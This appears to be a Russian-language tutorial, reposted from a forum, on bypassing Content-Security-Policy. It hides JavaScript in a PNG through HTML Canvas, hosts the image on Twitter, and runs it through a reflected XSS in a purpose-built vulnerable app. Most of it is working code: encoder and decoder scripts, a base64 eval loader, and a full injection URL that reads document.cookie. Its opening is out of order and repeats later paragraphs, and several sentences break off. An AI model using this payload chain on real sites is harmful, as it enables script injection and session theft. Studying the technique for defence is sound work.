Cпрячьте вредоносную JavaScript библиотеку в PNG-изображение, создайте с ним пост в Twitter и загрузите картинку по прямой ссылке на взломанный вебсайт. Используя такой подход вы сможете с легкостью обойти Content-Security-Policy. Это не научная фантастика... это HTML Canvas.
CSP заголовки все чаще благодаря своей эффективности используется для защиты от эксплуатации XSS, clickjacking и других атак с внедрением кода. Не смотря на рост популярности такого метода защиты, на многих сайтах можно найти слабые политики, — разработчики делают это намеренно, чтобы уберечь себя от ложных срабатываний, добавляя в белый список целые домены вместо конкретных ресурсов или используют директивы unsafe-inline/unsafe-eval, что может привести к обходу политики.
Читая
Его выполнение создает изображение с помощью метода putImageData, представляя каждую группу из 3 символов строки "Hello, World!" в виде уровней вывода RGB (красный, зеленый и синий) для каждого пикселя. Вы должны увидеть сгенерированное изображение в левом верхнем углу:
Как я уже говорил выше, каждый пиксель изображения представляет собой 3 символа "скрытой строки". Используя функцию charCodeAt, я могу преобразовать каждый символ юникода в целое число от 0 до 65535. В одном пикселе первый преобразованный символ предназначен для красного канала, второй - для зеленого и последний - для синего. Четвертое значение - это альфа канал, который в нашем примере всегда равен 255. Например
На схеме ниже я попытаюсь до вас лучше донести то, как символы исходной строки распределяются в массиве ImageData:
Теперь у нас есть PNG-изображение, которое представляет собой строку "Hello, World!". Вы можете декодировать ее, вставив следующий код в консоль:
Этот Javascript код выбирает только что созданный элемент изображения и, используя getImageData, преобразует в исходную текстовую строку. При использовании getImageData происходит следующее: вы получаете объект ImageData с атрибутом data, который содержит большой массив. Как уже упоминалось ранее, для каждого пикселя в массиве ImageData есть четыре записи: r, g, b и alpha. Таким образом, массив выглядит примерно так [pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB, pixelNAlpha].
Я намеренно создал уязвимое веб-приложение, которое буду использовать для проверки этой техники. В приложении используется Content-Security-Policy, которая предотвращает загрузку внешних JavaScript ресурсов:
Приложение использует правила Content-Security-Policy, которые разрешает загружать изображения с собственного сайта и из Twitter, а также разрешает "self", "inline" и "eval" выполнение JavaScript. К сожалению, существует множество сайтов, которые настраивают директиву script-src, разрешая выполнение unsafe-inline и unsafe-eval, чтобы избежать ложных срабатываний. Более того, многие сайты вносят в белый список целые домены, а не конкретные ресурсы.
Если вы думаете, что такая конфигурация встречается достаточно редко и никто не использует "unsafe-inline" и "unsafe-eval" в директиве script-src, вы глубоко заблуждаетесь. Недавнее исследование Alexa Top 1m показало, что более 5000 сайтов используют Content-Security-Policy с "unsafe-inline" и "unsafe-eval" в директиве script-src или default-src:
Уязвимость в созданном мною приложении можно эксплуатировать с помощью значения query-параметра lang, который не санирует пользовательский ввод, что приводит к HTML-инъекции и Reflected XSS. Достаточно внедрить HTML-синтаксис, чтобы закрыть атрибут src и добавить тег SCRIPT, а затем внедрить Javascript код с чем-то вроде ?lang="><script>alert(1)</script>.
Теперь нужно обойти CSP и импортировать внешнюю JavaScript библиотеку с помощью такого пэйлоада ?lang="><script+src="//example.com/evil.js"></script>, загрузка которой блокируется CSP:
а затем загрузил его в Twitter = )
Загрузив изображение из Twitter в тег IMG, я могу преобразовать его в исходный JavaScript код. Как видно на скриншоте ниже, оно содержит функцию, которая выполняет alert значения document.cookie:
Чтобы включить удаленное изображение из Twitter, я могу просто отправить такой запрос:
Красная часть - это URL нашего вредоносного PNG-изображения в Twitter. Синяя часть - это атрибут id, внедренный для облегчения селекта тега IMG. Зеленая часть - это тег A, используемый только для того, чтобы не нарушать HTML синтаксис. Теперь мне нужно заинжектить несколько JavaScript строк кода, чтобы конвертировать изображение во внешнюю JavaScript библиотеку и обойти CSP:
Я закодировал его в base64 и теперь использую внутри eval(atob("base64-encoded-js")), который я помещу в инжектируемый атрибут onload:
onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp"))'
Примерно следующим образом (оранжевым цветом):
Отправив весь пэйлоад, я получил ошибку при выполнении getImageData с сообщением "The canvas has been tainted by cross-origin data".
Прочитав
Заинжектив crossorigin со значением "anonymous" все работает как ожидалось, и я успешно выполнил функцию alert(document.cookie), как показано на скриншоте ниже:
Вот весь пэйлоад, который я использовал
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+crossorigin=%22anonymous%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22
CSP заголовки все чаще благодаря своей эффективности используется для защиты от эксплуатации XSS, clickjacking и других атак с внедрением кода. Не смотря на рост популярности такого метода защиты, на многих сайтах можно найти слабые политики, — разработчики делают это намеренно, чтобы уберечь себя от ложных срабатываний, добавляя в белый список целые домены вместо конкретных ресурсов или используют директивы unsafe-inline/unsafe-eval, что может привести к обходу политики.
Читая
Ссылка скрыта от гостей
, в которой он показывает, как использовать HTML Canvas для "хранения" JavaScript-кода в PNG-изображении, мне пришла в голову мысль, что такой подход со стеганографией может послужить идеальной техникой обхода CSP для включения вредоносной внешней JavaScript библиотеки, эксплуатирующей XSS-уязвимость. Все дело в использовании методов CanvasRenderingContext2D putImageData, вместе с getImageData и String.charCodeAt для представления каждого символа строки в виде числового значения.CanvasRenderingContext2D.putImageData() метод Canvas 2D API, который рисует данные из заданного ImageData объекта на холст. На этот метод не влияет матрица преобразования холста.
CanvasRenderingContext2D.getImageData() метод Canvas 2D API, который возвращает объектСсылка скрыта от гостей, представляющий базовые пиксельные данные для области холста. На этот метод не влияет матрица преобразования холста. Если переданные в параметрах координаты прямоугольника выходят за границы холста, пиксели за пределами холста в возвращаемом объекте ImageData будут прозрачно-черными.
Скрытие текста в PNG с помощью Canvas
Ниже приведен код, который вы можете скопировать и вставить в консоль браузера для создания PNG-изображения, начинающегося с заданной строки, например: "Hello, World!". Откройте новую вкладку, перейдите по адресу about:blank, зайдите в консоль браузера и вставьте следующий код:
JavaScript:
(function() {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "Hello, World!";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
Его выполнение создает изображение с помощью метода putImageData, представляя каждую группу из 3 символов строки "Hello, World!" в виде уровней вывода RGB (красный, зеленый и синий) для каждого пикселя. Вы должны увидеть сгенерированное изображение в левом верхнем углу:
Как я уже говорил выше, каждый пиксель изображения представляет собой 3 символа "скрытой строки". Используя функцию charCodeAt, я могу преобразовать каждый символ юникода в целое число от 0 до 65535. В одном пикселе первый преобразованный символ предназначен для красного канала, второй - для зеленого и последний - для синего. Четвертое значение - это альфа канал, который в нашем примере всегда равен 255. Например
JavaScript:
r = "H".charCodeAt(0)
g = "e".charCodeAt(0)
b = "l".charCodeAt(0)
a = 255
j.data = [r,g,b,a,...]
На схеме ниже я попытаюсь до вас лучше донести то, как символы исходной строки распределяются в массиве ImageData:
Теперь у нас есть PNG-изображение, которое представляет собой строку "Hello, World!". Вы можете декодировать ее, вставив следующий код в консоль:
JavaScript:
t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;
Этот Javascript код выбирает только что созданный элемент изображения и, используя getImageData, преобразует в исходную текстовую строку. При использовании getImageData происходит следующее: вы получаете объект ImageData с атрибутом data, который содержит большой массив. Как уже упоминалось ранее, для каждого пикселя в массиве ImageData есть четыре записи: r, g, b и alpha. Таким образом, массив выглядит примерно так [pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB, pixelNAlpha].
Уязвимый веб-сайт
Теперь мы знаем как "сохранить" текстовую строку в изображение и как преобразовать это изображение обратно в исходную строку. Предположим теперь, что вместо простой текстовой строки можно спрятать JavaScript-код, а сгенерированное PNG-изображение загрузить в Twitter. Политику Content-Security-Policy, разрешающую загружать изображения из Twitter, теперь можно обойти и эксплуатировать XSS для загрузки содержимого JavaScript из "доверенного" источника.Я намеренно создал уязвимое веб-приложение, которое буду использовать для проверки этой техники. В приложении используется Content-Security-Policy, которая предотвращает загрузку внешних JavaScript ресурсов:
Приложение использует правила Content-Security-Policy, которые разрешает загружать изображения с собственного сайта и из Twitter, а также разрешает "self", "inline" и "eval" выполнение JavaScript. К сожалению, существует множество сайтов, которые настраивают директиву script-src, разрешая выполнение unsafe-inline и unsafe-eval, чтобы избежать ложных срабатываний. Более того, многие сайты вносят в белый список целые домены, а не конкретные ресурсы.
Если вы думаете, что такая конфигурация встречается достаточно редко и никто не использует "unsafe-inline" и "unsafe-eval" в директиве script-src, вы глубоко заблуждаетесь. Недавнее исследование Alexa Top 1m показало, что более 5000 сайтов используют Content-Security-Policy с "unsafe-inline" и "unsafe-eval" в директиве script-src или default-src:
Уязвимость в созданном мною приложении можно эксплуатировать с помощью значения query-параметра lang, который не санирует пользовательский ввод, что приводит к HTML-инъекции и Reflected XSS. Достаточно внедрить HTML-синтаксис, чтобы закрыть атрибут src и добавить тег SCRIPT, а затем внедрить Javascript код с чем-то вроде ?lang="><script>alert(1)</script>.
Теперь нужно обойти CSP и импортировать внешнюю JavaScript библиотеку с помощью такого пэйлоада ?lang="><script+src="//example.com/evil.js"></script>, загрузка которой блокируется CSP:
Загрузка PNG/JS в Twitter
Проведя несколько тестов, я выяснил, что Twitter выдает ошибку, если загруженное изображение маленького размера. Поэтому я увеличил количество JavaScript кода путем включения случайных комментариев:
JavaScript:
(function() {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "function asd() {\
var d = document;\
var c = 'cookie';\
alert(d[c]);\
};asd();/*Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam aliquam blandit metus vel elementum. Mauris mi tortor, congue eget fringilla id, tempus a tellus. Morbi laoreet vitae ipsum vel dapibus. Nunc eu faucibus ligula. Donec maximus malesuada justo. Nulla congue, risus quis dapibus porttitor, metus quam rutrum dolor, ac maximus nibh metus quis enim. Aenean hendrerit venenatis massa ac gravida. Donec at nisi quis ex sollicitudin bibendum sit amet ac quam.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Vestibulum tincidunt diam vel diam semper posuere. Nulla facilisi. Curabitur a facilisis lorem, eu porta leo. Sed pharetra eros et malesuada mattis. Donec tincidunt elementum mauris quis commodo. Donec nec vulputate nulla. Nunc luctus orci lacinia nunc sodales, vitae cursus quam tempor. Cras ullamcorper ullamcorper urna vitae pulvinar. Curabitur ac pretium felis. Vivamus vel scelerisque nisi. Pellentesque lacinia consequat nibh, vitae rhoncus tellus faucibus eget. Ut pulvinar est non tellus tristique sodales. Aenean eget velit non turpis tristique pretium id eu dolor. Nulla sed eros quis urna facilisis scelerisque. Nam orci neque, finibus eget odio et, elementum finibus erat.*/";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
а затем загрузил его в Twitter = )
Загрузив изображение из Twitter в тег IMG, я могу преобразовать его в исходный JavaScript код. Как видно на скриншоте ниже, оно содержит функцию, которая выполняет alert значения document.cookie:
Эксплуатация: Обход CSP
Как я уже говорил, для эксплуатации тестового веб-приложения мне нужно внедрить HTML-синтаксис в тег IMG, чтобы закрыть атрибут src чем-то вроде ?lang="><script>alert(1)</script>.Чтобы включить удаленное изображение из Twitter, я могу просто отправить такой запрос:
Красная часть - это URL нашего вредоносного PNG-изображения в Twitter. Синяя часть - это атрибут id, внедренный для облегчения селекта тега IMG. Зеленая часть - это тег A, используемый только для того, чтобы не нарушать HTML синтаксис. Теперь мне нужно заинжектить несколько JavaScript строк кода, чтобы конвертировать изображение во внешнюю JavaScript библиотеку и обойти CSP:
JavaScript:
t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)
Я закодировал его в base64 и теперь использую внутри eval(atob("base64-encoded-js")), который я помещу в инжектируемый атрибут onload:
onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp"))'
Примерно следующим образом (оранжевым цветом):
Отправив весь пэйлоад, я получил ошибку при выполнении getImageData с сообщением "The canvas has been tainted by cross-origin data".
Прочитав
Ссылка скрыта от гостей
